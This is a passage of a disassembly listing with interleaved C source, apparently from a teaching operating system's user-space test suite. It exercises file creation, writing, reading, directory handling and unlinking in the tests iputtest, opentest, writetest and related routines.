2b 44 00 00 push $0x442b 6c: 50 push %eax 6d: e8 cc 3f 00 00 call 403e <printf> 72: 83 c4 10 add $0x10,%esp exit(); 75: e8 51 3e 00 00 call 3ecb <exit> } if(unlink("../iputdir") < 0){ 7a: 83 ec 0c sub $0xc,%esp 7d: 68 41 44 00 00 push $0x4441 82: e8 94 3e 00 00 call 3f1b <unlink> 87: 83 c4 10 add $0x10,%esp 8a: 85 c0 test %eax,%eax 8c: 79 1b jns a9 <iputtest+0xa9> printf(stdout, "unlink ../iputdir failed\n"); 8e: a1 a8 62 00 00 mov 0x62a8,%eax 93: 83 ec 08 sub $0x8,%esp 96: 68 4c 44 00 00 push $0x444c 9b: 50 push %eax 9c: e8 9d 3f 00 00 call 403e <printf> a1: 83 c4 10 add $0x10,%esp exit(); a4: e8 22 3e 00 00 call 3ecb <exit> } if(chdir("/") < 0){ a9: 83 ec 0c sub $0xc,%esp ac: 68 66 44 00 00 push $0x4466 b1: e8 85 3e 00 00 call 3f3b <chdir> b6: 83 c4 10 add $0x10,%esp b9: 85 c0 test %eax,%eax bb: 79 1b jns d8 <iputtest+0xd8> printf(stdout, "chdir / failed\n"); bd: a1 a8 62 00 00 mov 0x62a8,%eax c2: 83 ec 08 sub $0x8,%esp c5: 68 68 44 00 00 push $0x4468 ca: 50 push %eax cb: e8 6e 3f 00 00 call 403e <printf> d0: 83 c4 10 add $0x10,%esp exit(); d3: e8 f3 3d 00 00 call 3ecb <exit> } printf(stdout, "iput test ok\n"); d8: a1 a8 62 00 00 mov 0x62a8,%eax dd: 83 ec 08 sub $0x8,%esp e0: 68 78 44 00 00 push $0x4478 e5: 50 push %eax e6: e8 53 3f 00 00 call 403e <printf> eb: 83 c4 10 add $0x10,%esp } ee: 90 nop ef: c9 leave f0: c3 ret 000000f1 <exitiputtest>: // does exit() call iput(p->cwd) in a transaction? void exitiputtest(void) { f1: 55 push %ebp f2: 89 e5 mov %esp,%ebp f4: 83 ec 18 sub $0x18,%esp int pid; printf(stdout, "exitiput test\n"); f7: a1 a8 62 00 00 mov 0x62a8,%eax fc: 83 ec 08 sub $0x8,%esp ff: 68 86 44 00 00 push $0x4486 104: 50 push %eax 105: e8 34 3f 00 00 call 403e <printf> 10a: 83 c4 10 add $0x10,%esp pid = fork(); 10d: e8 b1 3d 00 00 call 3ec3 <fork> 112: 89 45 f4 mov %eax,-0xc(%ebp) if(pid < 0){ 115: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 119: 79 1b jns 136 <exitiputtest+0x45> printf(stdout, "fork failed\n"); 11b: a1 a8 62 00 00 mov 0x62a8,%eax 120: 83 ec 08 sub $0x8,%esp 123: 68 95 44 00 00 push $0x4495 128: 50 push %eax 129: e8 10 3f 00 00 call 403e <printf> 12e: 83 c4 10 add $0x10,%esp exit(); 131: e8 95 3d 00 00 call 3ecb <exit> } if(pid == 0){ 136: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 13a: 0f 85 92 00 00 00 jne 1d2 <exitiputtest+0xe1> if(mkdir("iputdir") < 0){ 140: 83 ec 0c sub $0xc,%esp 143: 68 15 44 00 00 push $0x4415 148: e8 e6 3d 00 00 call 3f33 <mkdir> 14d: 83 c4 10 add $0x10,%esp 150: 85 c0 test %eax,%eax 152: 79 1b jns 16f <exitiputtest+0x7e> printf(stdout, "mkdir failed\n"); 154: a1 a8 62 00 00 mov 0x62a8,%eax 159: 83 ec 08 sub $0x8,%esp 15c: 68 1d 44 00 00 push $0x441d 161: 50 push %eax 162: e8 d7 3e 00 00 call 403e <printf> 167: 83 c4 10 add $0x10,%esp exit(); 16a: e8 5c 3d 00 00 call 3ecb <exit> } if(chdir("iputdir") < 0){ 16f: 83 ec 0c sub $0xc,%esp 172: 68 15 44 00 00 push $0x4415 177: e8 bf 3d 00 00 call 3f3b <chdir> 17c: 83 c4 10 add $0x10,%esp 17f: 85 c0 test %eax,%eax 181: 79 1b jns 19e <exitiputtest+0xad> printf(stdout, "child chdir failed\n"); 183: a1 a8 62 00 00 mov 0x62a8,%eax 188: 83 ec 08 sub $0x8,%esp 18b: 68 a2 44 00 00 push $0x44a2 190: 50 push %eax 191: e8 a8 3e 00 00 call 403e <printf> 196: 83 c4 10 add $0x10,%esp exit(); 199: e8 2d 3d 00 00 call 3ecb <exit> } if(unlink("../iputdir") < 0){ 19e: 83 ec 0c sub $0xc,%esp 1a1: 68 41 44 00 00 push $0x4441 1a6: e8 70 3d 00 00 call 3f1b <unlink> 1ab: 83 c4 10 add $0x10,%esp 1ae: 85 c0 test %eax,%eax 1b0: 79 1b jns 1cd <exitiputtest+0xdc> printf(stdout, "unlink ../iputdir failed\n"); 1b2: a1 a8 62 00 00 mov 0x62a8,%eax 1b7: 83 ec 08 sub $0x8,%esp 1ba: 68 4c 44 00 00 push $0x444c 1bf: 50 push %eax 1c0: e8 79 3e 00 00 call 403e <printf> 1c5: 83 c4 10 add $0x10,%esp exit(); 1c8: e8 fe 3c 00 00 call 3ecb <exit> } exit(); 1cd: e8 f9 3c 00 00 call 3ecb <exit> } wait(); 1d2: e8 fc 3c 00 00 call 3ed3 <wait> printf(stdout, "exitiput test ok\n"); 1d7: a1 a8 62 00 00 mov 0x62a8,%eax 1dc: 83 ec 08 sub $0x8,%esp 1df: 68 b6 44 00 00 push $0x44b6 1e4: 50 push %eax 1e5: e8 54 3e 00 00 call 403e <printf> 1ea: 83 c4 10 add $0x10,%esp } 1ed: 90 nop 1ee: c9 leave 1ef: c3 ret 000001f0 <openiputtest>: // for(i = 0; i < 10000; i++) // yield(); // } void openiputtest(void) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 83 ec 18 sub $0x18,%esp int pid; printf(stdout, "openiput test\n"); 1f6: a1 a8 62 00 00 mov 0x62a8,%eax 1fb: 83 ec 08 sub $0x8,%esp 1fe: 68 c8 44 00 00 push $0x44c8 203: 50 push %eax 204: e8 35 3e 00 00 call 403e <printf> 209: 83 c4 10 add $0x10,%esp if(mkdir("oidir") < 0){ 20c: 83 ec 0c sub $0xc,%esp 20f: 68 d7 44 00 00 push $0x44d7 214: e8 1a 3d 00 00 call 3f33 <mkdir> 219: 83 c4 10 add $0x10,%esp 21c: 85 c0 test %eax,%eax 21e: 79 1b jns 23b <openiputtest+0x4b> printf(stdout, "mkdir oidir failed\n"); 220: a1 a8 62 00 00 mov 0x62a8,%eax 225: 83 ec 08 sub $0x8,%esp 228: 68 dd 44 00 00 push $0x44dd 22d: 50 push %eax 22e: e8 0b 3e 00 00 call 403e <printf> 233: 83 c4 10 add $0x10,%esp exit(); 236: e8 90 3c 00 00 call 3ecb <exit> } pid = fork(); 23b: e8 83 3c 00 00 call 3ec3 <fork> 240: 89 45 f4 mov %eax,-0xc(%ebp) if(pid < 0){ 243: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 247: 79 1b jns 264 <openiputtest+0x74> printf(stdout, "fork failed\n"); 249: a1 a8 62 00 00 mov 0x62a8,%eax 24e: 83 ec 08 sub $0x8,%esp 251: 68 95 44 00 00 push $0x4495 256: 50 push %eax 257: e8 e2 3d 00 00 call 403e <printf> 25c: 83 c4 10 add $0x10,%esp exit(); 25f: e8 67 3c 00 00 call 3ecb <exit> } if(pid == 0){ 264: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 268: 75 3b jne 2a5 <openiputtest+0xb5> int fd = open("oidir", O_RDWR); 26a: 83 ec 08 sub $0x8,%esp 26d: 6a 02 push $0x2 26f: 68 d7 44 00 00 push $0x44d7 274: e8 92 3c 00 00 call 3f0b <open> 279: 83 c4 10 add $0x10,%esp 27c: 89 45 f0 mov %eax,-0x10(%ebp) if(fd >= 0){ 27f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 283: 78 1b js 2a0 <openiputtest+0xb0> printf(stdout, "open directory for write succeeded\n"); 285: a1 a8 62 00 00 mov 0x62a8,%eax 28a: 83 ec 08 sub $0x8,%esp 28d: 68 f4 44 00 00 push $0x44f4 292: 50 push %eax 293: e8 a6 3d 00 00 call 403e <printf> 298: 83 c4 10 add $0x10,%esp exit(); 29b: e8 2b 3c 00 00 call 3ecb <exit> } exit(); 2a0: e8 26 3c 00 00 call 3ecb <exit> } sleep(1); 2a5: 83 ec 0c sub $0xc,%esp 2a8: 6a 01 push $0x1 2aa: e8 ac 3c 00 00 call 3f5b <sleep> 2af: 83 c4 10 add $0x10,%esp if(unlink("oidir") != 0){ 2b2: 83 ec 0c sub $0xc,%esp 2b5: 68 d7 44 00 00 push $0x44d7 2ba: e8 5c 3c 00 00 call 3f1b <unlink> 2bf: 83 c4 10 add $0x10,%esp 2c2: 85 c0 test %eax,%eax 2c4: 74 1b je 2e1 <openiputtest+0xf1> printf(stdout, "unlink failed\n"); 2c6: a1 a8 62 00 00 mov 0x62a8,%eax 2cb: 83 ec 08 sub $0x8,%esp 2ce: 68 18 45 00 00 push $0x4518 2d3: 50 push %eax 2d4: e8 65 3d 00 00 call 403e <printf> 2d9: 83 c4 10 add $0x10,%esp exit(); 2dc: e8 ea 3b 00 00 call 3ecb <exit> } wait(); 2e1: e8 ed 3b 00 00 call 3ed3 <wait> printf(stdout, "openiput test ok\n"); 2e6: a1 a8 62 00 00 mov 0x62a8,%eax 2eb: 83 ec 08 sub $0x8,%esp 2ee: 68 27 45 00 00 push $0x4527 2f3: 50 push %eax 2f4: e8 45 3d 00 00 call 403e <printf> 2f9: 83 c4 10 add $0x10,%esp } 2fc: 90 nop 2fd: c9 leave 2fe: c3 ret 000002ff <opentest>: // simple file system tests void opentest(void) { 2ff: 55 push %ebp 300: 89 e5 mov %esp,%ebp 302: 83 ec 18 sub $0x18,%esp int fd; printf(stdout, "open test\n"); 305: a1 a8 62 00 00 mov 0x62a8,%eax 30a: 83 ec 08 sub $0x8,%esp 30d: 68 39 45 00 00 push $0x4539 312: 50 push %eax 313: e8 26 3d 00 00 call 403e <printf> 318: 83 c4 10 add $0x10,%esp fd = open("echo", 0); 31b: 83 ec 08 sub $0x8,%esp 31e: 6a 00 push $0x0 320: 68 f4 43 00 00 push $0x43f4 325: e8 e1 3b 00 00 call 3f0b <open> 32a: 83 c4 10 add $0x10,%esp 32d: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0){ 330: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 334: 79 1b jns 351 <opentest+0x52> printf(stdout, "open echo failed!\n"); 336: a1 a8 62 00 00 mov 0x62a8,%eax 33b: 83 ec 08 sub $0x8,%esp 33e: 68 44 45 00 00 push $0x4544 343: 50 push %eax 344: e8 f5 3c 00 00 call 403e <printf> 349: 83 c4 10 add $0x10,%esp exit(); 34c: e8 7a 3b 00 00 call 3ecb <exit> } close(fd); 351: 83 ec 0c sub $0xc,%esp 354: ff 75 f4 pushl -0xc(%ebp) 357: e8 97 3b 00 00 call 3ef3 <close> 35c: 83 c4 10 add $0x10,%esp fd = open("doesnotexist", 0); 35f: 83 ec 08 sub $0x8,%esp 362: 6a 00 push $0x0 364: 68 57 45 00 00 push $0x4557 369: e8 9d 3b 00 00 call 3f0b <open> 36e: 83 c4 10 add $0x10,%esp 371: 89 45 f4 mov %eax,-0xc(%ebp) if(fd >= 0){ 374: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 378: 78 1b js 395 <opentest+0x96> printf(stdout, "open doesnotexist succeeded!\n"); 37a: a1 a8 62 00 00 mov 0x62a8,%eax 37f: 83 ec 08 sub $0x8,%esp 382: 68 64 45 00 00 push $0x4564 387: 50 push %eax 388: e8 b1 3c 00 00 call 403e <printf> 38d: 83 c4 10 add $0x10,%esp exit(); 390: e8 36 3b 00 00 call 3ecb <exit> } printf(stdout, "open test ok\n"); 395: a1 a8 62 00 00 mov 0x62a8,%eax 39a: 83 ec 08 sub $0x8,%esp 39d: 68 82 45 00 00 push $0x4582 3a2: 50 push %eax 3a3: e8 96 3c 00 00 call 403e <printf> 3a8: 83 c4 10 add $0x10,%esp } 3ab: 90 nop 3ac: c9 leave 3ad: c3 ret 000003ae <writetest>: void writetest(void) { 3ae: 55 push %ebp 3af: 89 e5 mov %esp,%ebp 3b1: 83 ec 18 sub $0x18,%esp int fd; int i; printf(stdout, "small file test\n"); 3b4: a1 a8 62 00 00 mov 0x62a8,%eax 3b9: 83 ec 08 sub $0x8,%esp 3bc: 68 90 45 00 00 push $0x4590 3c1: 50 push %eax 3c2: e8 77 3c 00 00 call 403e <printf> 3c7: 83 c4 10 add $0x10,%esp fd = open("small", O_CREATE|O_RDWR); 3ca: 83 ec 08 sub $0x8,%esp 3cd: 68 02 02 00 00 push $0x202 3d2: 68 a1 45 00 00 push $0x45a1 3d7: e8 2f 3b 00 00 call 3f0b <open> 3dc: 83 c4 10 add $0x10,%esp 3df: 89 45 f0 mov %eax,-0x10(%ebp) if(fd >= 0){ 3e2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3e6: 78 22 js 40a <writetest+0x5c> printf(stdout, "creat small succeeded; ok\n"); 3e8: a1 a8 62 00 00 mov 0x62a8,%eax 3ed: 83 ec 08 sub $0x8,%esp 3f0: 68 a7 45 00 00 push $0x45a7 3f5: 50 push %eax 3f6: e8 43 3c 00 00 call 403e <printf> 3fb: 83 c4 10 add $0x10,%esp } else { printf(stdout, "error: creat small failed!\n"); exit(); } for(i = 0; i < 100; i++){ 3fe: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 405: e9 8f 00 00 00 jmp 499 <writetest+0xeb> printf(stdout, "error: creat small failed!\n"); 40a: a1 a8 62 00 00 mov 0x62a8,%eax 40f: 83 ec 08 sub $0x8,%esp 412: 68 c2 45 00 00 push $0x45c2 417: 50 push %eax 418: e8 21 3c 00 00 call 403e <printf> 41d: 83 c4 10 add $0x10,%esp exit(); 420: e8 a6 3a 00 00 call 3ecb <exit> if(write(fd, "aaaaaaaaaa", 10) != 10){ 425: 83 ec 04 sub $0x4,%esp 428: 6a 0a push $0xa 42a: 68 de 45 00 00 push $0x45de 42f: ff 75 f0 pushl -0x10(%ebp) 432: e8 b4 3a 00 00 call 3eeb <write> 437: 83 c4 10 add $0x10,%esp 43a: 83 f8 0a cmp $0xa,%eax 43d: 74 1e je 45d <writetest+0xaf> printf(stdout, "error: write aa %d new file failed\n", i); 43f: a1 a8 62 00 00 mov 0x62a8,%eax 444: 83 ec 04 sub $0x4,%esp 447: ff 75 f4 pushl -0xc(%ebp) 44a: 68 ec 45 00 00 push $0x45ec 44f: 50 push %eax 450: e8 e9 3b 00 00 call 403e <printf> 455: 83 c4 10 add $0x10,%esp exit(); 458: e8 6e 3a 00 00 call 3ecb <exit> } if(write(fd, "bbbbbbbbbb", 10) != 10){ 45d: 83 ec 04 sub $0x4,%esp 460: 6a 0a push $0xa 462: 68 10 46 00 00 push $0x4610 467: ff 75 f0 pushl -0x10(%ebp) 46a: e8 7c 3a 00 00 call 3eeb <write> 46f: 83 c4 10 add $0x10,%esp 472: 83 f8 0a cmp $0xa,%eax 475: 74 1e je 495 <writetest+0xe7> printf(stdout, "error: write bb %d new file failed\n", i); 477: a1 a8 62 00 00 mov 0x62a8,%eax 47c: 83 ec 04 sub $0x4,%esp 47f: ff 75 f4 pushl -0xc(%ebp) 482: 68 1c 46 00 00 push $0x461c 487: 50 push %eax 488: e8 b1 3b 00 00 call 403e <printf> 48d: 83 c4 10 add $0x10,%esp exit(); 490: e8 36 3a 00 00 call 3ecb <exit> for(i = 0; i < 100; i++){ 495: 83 45 f4 01 addl $0x1,-0xc(%ebp) 499: 83 7d f4 63 cmpl $0x63,-0xc(%ebp) 49d: 7e 86 jle 425 <writetest+0x77> } } printf(stdout, "writes ok\n"); 49f: a1 a8 62 00 00 mov 0x62a8,%eax 4a4: 83 ec 08 sub $0x8,%esp 4a7: 68 40 46 00 00 push $0x4640 4ac: 50 push %eax 4ad: e8 8c 3b 00 00 call 403e <printf> 4b2: 83 c4 10 add $0x10,%esp close(fd); 4b5: 83 ec 0c sub $0xc,%esp 4b8: ff 75 f0 pushl -0x10(%ebp) 4bb: e8 33 3a 00 00 call 3ef3 <close> 4c0: 83 c4 10 add $0x10,%esp fd = open("small", O_RDONLY); 4c3: 83 ec 08 sub $0x8,%esp 4c6: 6a 00 push $0x0 4c8: 68 a1 45 00 00 push $0x45a1 4cd: e8 39 3a 00 00 call 3f0b <open> 4d2: 83 c4 10 add $0x10,%esp 4d5: 89 45 f0 mov %eax,-0x10(%ebp) if(fd >= 0){ 4d8: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4dc: 78 3c js 51a <writetest+0x16c> printf(stdout, "open small succeeded ok\n"); 4de: a1 a8 62 00 00 mov 0x62a8,%eax 4e3: 83 ec 08 sub $0x8,%esp 4e6: 68 4b 46 00 00 push $0x464b 4eb: 50 push %eax 4ec: e8 4d 3b 00 00 call 403e <printf> 4f1: 83 c4 10 add $0x10,%esp } else { printf(stdout, "error: open small failed!\n"); exit(); } i = read(fd, buf, 2000); 4f4: 83 ec 04 sub $0x4,%esp 4f7: 68 d0 07 00 00 push $0x7d0 4fc: 68 a0 8a 00 00 push $0x8aa0 501: ff 75 f0 pushl -0x10(%ebp) 504: e8 da 39 00 00 call 3ee3 <read> 509: 83 c4 10 add $0x10,%esp 50c: 89 45 f4 mov %eax,-0xc(%ebp) if(i == 2000){ 50f: 81 7d f4 d0 07 00 00 cmpl $0x7d0,-0xc(%ebp) 516: 75 57 jne 56f <writetest+0x1c1> 518: eb 1b jmp 535 <writetest+0x187> printf(stdout, "error: open small failed!\n"); 51a: a1 a8 62 00 00 mov 0x62a8,%eax 51f: 83 ec 08 sub $0x8,%esp 522: 68 64 46 00 00 push $0x4664 527: 50 push %eax 528: e8 11 3b 00 00 call 403e <printf> 52d: 83 c4 10 add $0x10,%esp exit(); 530: e8 96 39 00 00 call 3ecb <exit> printf(stdout, "read succeeded ok\n"); 535: a1 a8 62 00 00 mov 0x62a8,%eax 53a: 83 ec 08 sub $0x8,%esp 53d: 68 7f 46 00 00 push $0x467f 542: 50 push %eax 543: e8 f6 3a 00 00 call 403e <printf> 548: 83 c4 10 add $0x10,%esp } else { printf(stdout, "read failed\n"); exit(); } close(fd); 54b: 83 ec 0c sub $0xc,%esp 54e: ff 75 f0 pushl -0x10(%ebp) 551: e8 9d 39 00 00 call 3ef3 <close> 556: 83 c4 10 add $0x10,%esp if(unlink("small") < 0){ 559: 83 ec 0c sub $0xc,%esp 55c: 68 a1 45 00 00 push $0x45a1 561: e8 b5 39 00 00 call 3f1b <unlink> 566: 83 c4 10 add $0x10,%esp 569: 85 c0 test %eax,%eax 56b: 79 38 jns 5a5 <writetest+0x1f7> 56d: eb 1b jmp 58a <writetest+0x1dc> printf(stdout, "read failed\n"); 56f: a1 a8 62 00 00 mov 0x62a8,%eax 574: 83 ec 08 sub $0x8,%esp 577: 68 92 46 00 00 push $0x4692 57c: 50 push %eax 57d: e8 bc 3a 00 00 call 403e <printf> 582: 83 c4 10 add $0x10,%esp exit(); 585: e8 41 39 00 00 call 3ecb <exit> printf(stdout, "unlink small failed\n"); 58a: a1 a8 62 00 00 mov 0x62a8,%eax 58f: 83 ec 08 sub $0x8,%esp 592: 68 9f 46 00 00 push $0x469f 597: 50 push %eax 598: e8 a1 3a 00 00 call 403e <printf> 59d: 83 c4 10 add $0x10,%esp exit(); 5a0: e8 26 39 00 00 call 3ecb <exit> } printf(stdout, "small file test ok\n"); 5a5: a1 a8 62 00 00 mov 0x62a8,%eax 5aa: 83 ec 08 sub $0x8,%esp 5ad: 68 b4 46 00 00 push $0x46b4 5b2: 50 push %eax 5b3: e8 86 3a 00 00 call 403e <printf> 5b8: 83 c4 10 add $0x10,%esp } 5bb: 90 nop 5bc: c9 leave 5bd: c3 ret 000005be <writetest1>: void writetest1(void) { 5be: 55 push %ebp 5bf: 89 e5 mov %esp,%ebp 5c1: 83 ec 18 sub $0x18,%esp int i, fd, n; printf(stdout, "big files test\n"); 5c4: a1 a8 62 00 00 mov 0x62a8,%eax 5c9: 83 ec 08 sub $0x8,%esp 5cc: 68 c8 46 00 00 push $0x46c8 5d1: 50 push %eax 5d2: e8 67 3a 00 00 call 403e <printf> 5d7: 83 c4 10 add $0x10,%esp fd = open("big", O_CREATE|O_RDWR); 5da: 83 ec 08 sub $0x8,%esp 5dd: 68 02 02 00 00 push $0x202 5e2: 68 d8 46 00 00 push $0x46d8 5e7: e8 1f 39 00 00 call 3f0b <open> 5ec: 83 c4 10 add $0x10,%esp 5ef: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 5f2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 5f6: 79 1b jns 613 <writetest1+0x55> printf(stdout, "error: creat big failed!\n"); 5f8: a1 a8 62 00 00 mov 0x62a8,%eax 5fd: 83 ec 08 sub $0x8,%esp 600: 68 dc 46 00 00 push $0x46dc 605: 50 push %eax 606: e8 33 3a 00 00 call 403e <printf> 60b: 83 c4 10 add $0x10,%esp exit(); 60e: e8 b8 38 00 00 call 3ecb <exit> } for(i = 0; i < MAXFILE; i++){ 613: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 61a: eb 4b jmp 667 <writetest1+0xa9> ((int*)buf)[0] = i; 61c: ba a0 8a 00 00 mov $0x8aa0,%edx 621: 8b 45 f4 mov -0xc(%ebp),%eax 624: 89 02 mov %eax,(%edx) if(write(fd, buf, 512) != 512){ 626: 83 ec 04 sub $0x4,%esp 629: 68 00 02 00 00 push $0x200 62e: 68 a0 8a 00 00 push $0x8aa0 633: ff 75 ec pushl -0x14(%ebp) 636: e8 b0 38 00 00 call 3eeb <write> 63b: 83 c4 10 add $0x10,%esp 63e: 3d 00 02 00 00 cmp $0x200,%eax 643: 74 1e je 663 <writetest1+0xa5> printf(stdout, "error: write big file failed\n", i); 645: a1 a8 62 00 00 mov 0x62a8,%eax 64a: 83 ec 04 sub $0x4,%esp 64d: ff 75 f4 pushl -0xc(%ebp) 650: 68 f6 46 00 00 push $0x46f6 655: 50 push %eax 656: e8 e3 39 00 00 call 403e <printf> 65b: 83 c4 10 add $0x10,%esp exit(); 65e: e8 68 38 00 00 call 3ecb <exit> for(i = 0; i < MAXFILE; i++){ 663: 83 45 f4 01 addl $0x1,-0xc(%ebp) 667: 8b 45 f4 mov -0xc(%ebp),%eax 66a: 3d 8b 00 00 00 cmp $0x8b,%eax 66f: 76 ab jbe 61c <writetest1+0x5e> } } close(fd); 671: 83 ec 0c sub $0xc,%esp 674: ff 75 ec pushl -0x14(%ebp) 677: e8 77 38 00 00 call 3ef3 <close> 67c: 83 c4 10 add $0x10,%esp fd = open("big", O_RDONLY); 67f: 83 ec 08 sub $0x8,%esp 682: 6a 00 push $0x0 684: 68 d8 46 00 00 push $0x46d8 689: e8 7d 38 00 00 call 3f0b <open> 68e: 83 c4 10 add $0x10,%esp 691: 89 45 ec mov %eax,-0x14(%ebp) if(fd < 0){ 694: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 698: 79 1b jns 6b5 <writetest1+0xf7> printf(stdout, "error: open big failed!\n"); 69a: a1 a8 62 00 00 mov 0x62a8,%eax 69f: 83 ec 08 sub $0x8,%esp 6a2: 68 14 47 00 00 push $0x4714 6a7: 50 push %eax 6a8: e8 91 39 00 00 call 403e <printf> 6ad: 83 c4 10 add $0x10,%esp exit(); 6b0: e8 16 38 00 00 call 3ecb <exit> } n = 0; 6b5: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(;;){ i = read(fd, buf, 512); 6bc: 83 ec 04 sub $0x4,%esp 6bf: 68 00 02 00 00 push $0x200 6c4: 68 a0 8a 00 00 push $0x8aa0 6c9: ff 75 ec pushl -0x14(%ebp) 6cc: e8 12 38 00 00 call 3ee3 <read> 6d1: 83 c4 10 add $0x10,%esp 6d4: 89 45 f4 mov %eax,-0xc(%ebp) if(i == 0){ 6d7: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 6db: 75 27 jne 704 <writetest1+0x146> if(n == MAXFILE - 1){ 6dd: 81 7d f0 8b 00 00 00 cmpl $0x8b,-0x10(%ebp) 6e4: 75 7d jne 763 <writetest1+0x1a5> printf(stdout, "read only %d blocks from big", n); 6e6: a1 a8 62 00 00 mov 0x62a8,%eax 6eb: 83 ec 04 sub $0x4,%esp 6ee: ff 75 f0 pushl -0x10(%ebp) 6f1: 68 2d 47 00 00 push $0x472d 6f6: 50 push %eax 6f7: e8 42 39 00 00 call 403e <printf> 6fc: 83 c4 10 add $0x10,%esp exit(); 6ff: e8 c7 37 00 00 call 3ecb <exit> } break; } else if(i != 512){ 704: 81 7d f4 00 02 00 00 cmpl $0x200,-0xc(%ebp) 70b: 74 1e je 72b <writetest1+0x16d> printf(stdout, "read failed %d\n", i); 70d: a1 a8 62 00 00 mov 0x62a8,%eax 712: 83 ec 04 sub $0x4,%esp 715: ff 75 f4 pushl -0xc(%ebp) 718: 68 4a 47 00 00 push $0x474a 71d: 50 push %eax 71e: e8 1b 39 00 00 call 403e <printf> 723: 83 c4 10 add $0x10,%esp exit(); 726: e8 a0 37 00 00 call 3ecb <exit> } if(((int*)buf)[0] != n){ 72b: b8 a0 8a 00 00 mov $0x8aa0,%eax 730: 8b 00 mov (%eax),%eax 732: 39 45 f0 cmp %eax,-0x10(%ebp) 735: 74 23 je 75a <writetest1+0x19c> printf(stdout, "read content of block %d is %d\n", n, ((int*)buf)[0]); 737: b8 a0 8a 00 00 mov $0x8aa0,%eax printf(stdout, "read content of block %d is %d\n", 73c: 8b 10 mov (%eax),%edx 73e: a1 a8 62 00 00 mov 0x62a8,%eax 743: 52 push %edx 744: ff 75 f0 pushl -0x10(%ebp) 747: 68 5c 47 00 00 push $0x475c 74c: 50 push %eax 74d: e8 ec 38 00 00 call 403e <printf> 752: 83 c4 10 add $0x10,%esp exit(); 755: e8 71 37 00 00 call 3ecb <exit> } n++; 75a: 83 45 f0 01 addl $0x1,-0x10(%ebp) i = read(fd, buf, 512); 75e: e9 59 ff ff ff jmp 6bc <writetest1+0xfe> break; 763: 90 nop } close(fd); 764: 83 ec 0c sub $0xc,%esp 767: ff 75 ec pushl -0x14(%ebp) 76a: e8 84 37 00 00 call 3ef3 <close> 76f: 83 c4 10 add $0x10,%esp if(unlink("big") < 0){ 772: 83 ec 0c sub $0xc,%esp 775: 68 d8 46 00 00 push $0x46d8 77a: e8 9c 37 00 00 call 3f1b <unlink> 77f: 83 c4 10 add $0x10,%esp 782: 85 c0 test %eax,%eax 784: 79 1b jns 7a1 <writetest1+0x1e3> printf(stdout, "unlink big failed\n"); 786: a1 a8 62 00 00 mov 0x62a8,%eax 78b: 83 ec 08 sub $0x8,%esp 78e: 68 7c 47 00 00 push $0x477c 793: 50 push %eax 794: e8 a5 38 00 00 call 403e <printf> 799: 83 c4 10 add $0x10,%esp exit(); 79c: e8 2a 37 00 00 call 3ecb <exit> } printf(stdout, "big files ok\n"); 7a1: a1 a8 62 00 00 mov 0x62a8,%eax 7a6: 83 ec 08 sub $0x8,%esp 7a9: 68 8f 47 00 00 push $0x478f 7ae: 50 push %eax 7af: e8 8a 38 00 00 call 403e <printf> 7b4: 83 c4 10 add $0x10,%esp } 7b7: 90 nop 7b8: c9 leave 7b9: c3 ret 000007ba <createtest>: void createtest(void) { 7ba: 55 push %ebp 7bb: 89 e5 mov %esp,%ebp 7bd: 83 ec 18 sub $0x18,%esp int i, fd; printf(stdout, "many creates, followed by unlink test\n"); 7c0: a1 a8 62 00 00 mov 0x62a8,%eax 7c5: 83 ec 08 sub $0x8,%esp 7c8: 68 a0 47 00 00 push $0x47a0 7cd: 50 push %eax 7ce: e8 6b 38 00 00 call 403e <printf> 7d3: 83 c4 10 add $0x10,%esp name[0] = 'a'; 7d6: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0 name[2] = '\0'; 7dd: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2 for(i = 0; i < 52; i++){ 7e4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 7eb: eb 35 jmp 822 <createtest+0x68> name[1] = '0' + i; 7ed: 8b 45 f4 mov -0xc(%ebp),%eax 7f0: 83 c0 30 add $0x30,%eax 7f3: a2 a1 aa 00 00 mov %al,0xaaa1 fd = open(name, O_CREATE|O_RDWR); 7f8: 83 ec 08 sub $0x8,%esp 7fb: 68 02 02 00 00 push $0x202 800: 68 a0 aa 00 00 push $0xaaa0 805: e8 01 37 00 00 call 3f0b <open> 80a: 83 c4 10 add $0x10,%esp 80d: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 810: 83 ec 0c sub $0xc,%esp 813: ff 75 f0 pushl -0x10(%ebp) 816: e8 d8 36 00 00 call 3ef3 <close> 81b: 83 c4 10 add $0x10,%esp for(i = 0; i < 52; i++){ 81e: 83 45 f4 01 addl $0x1,-0xc(%ebp) 822: 83 7d f4 33 cmpl $0x33,-0xc(%ebp) 826: 7e c5 jle 7ed <createtest+0x33> } name[0] = 'a'; 828: c6 05 a0 aa 00 00 61 movb $0x61,0xaaa0 name[2] = '\0'; 82f: c6 05 a2 aa 00 00 00 movb $0x0,0xaaa2 for(i = 0; i < 52; i++){ 836: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 83d: eb 1f jmp 85e <createtest+0xa4> name[1] = '0' + i; 83f: 8b 45 f4 mov -0xc(%ebp),%eax 842: 83 c0 30 add $0x30,%eax 845: a2 a1 aa 00 00 mov %al,0xaaa1 unlink(name); 84a: 83 ec 0c sub $0xc,%esp 84d: 68 a0 aa 00 00 push $0xaaa0 852: e8 c4 36 00 00 call 3f1b <unlink> 857: 83 c4 10 add $0x10,%esp for(i = 0; i < 52; i++){ 85a: 83 45 f4 01 addl $0x1,-0xc(%ebp) 85e: 83 7d f4 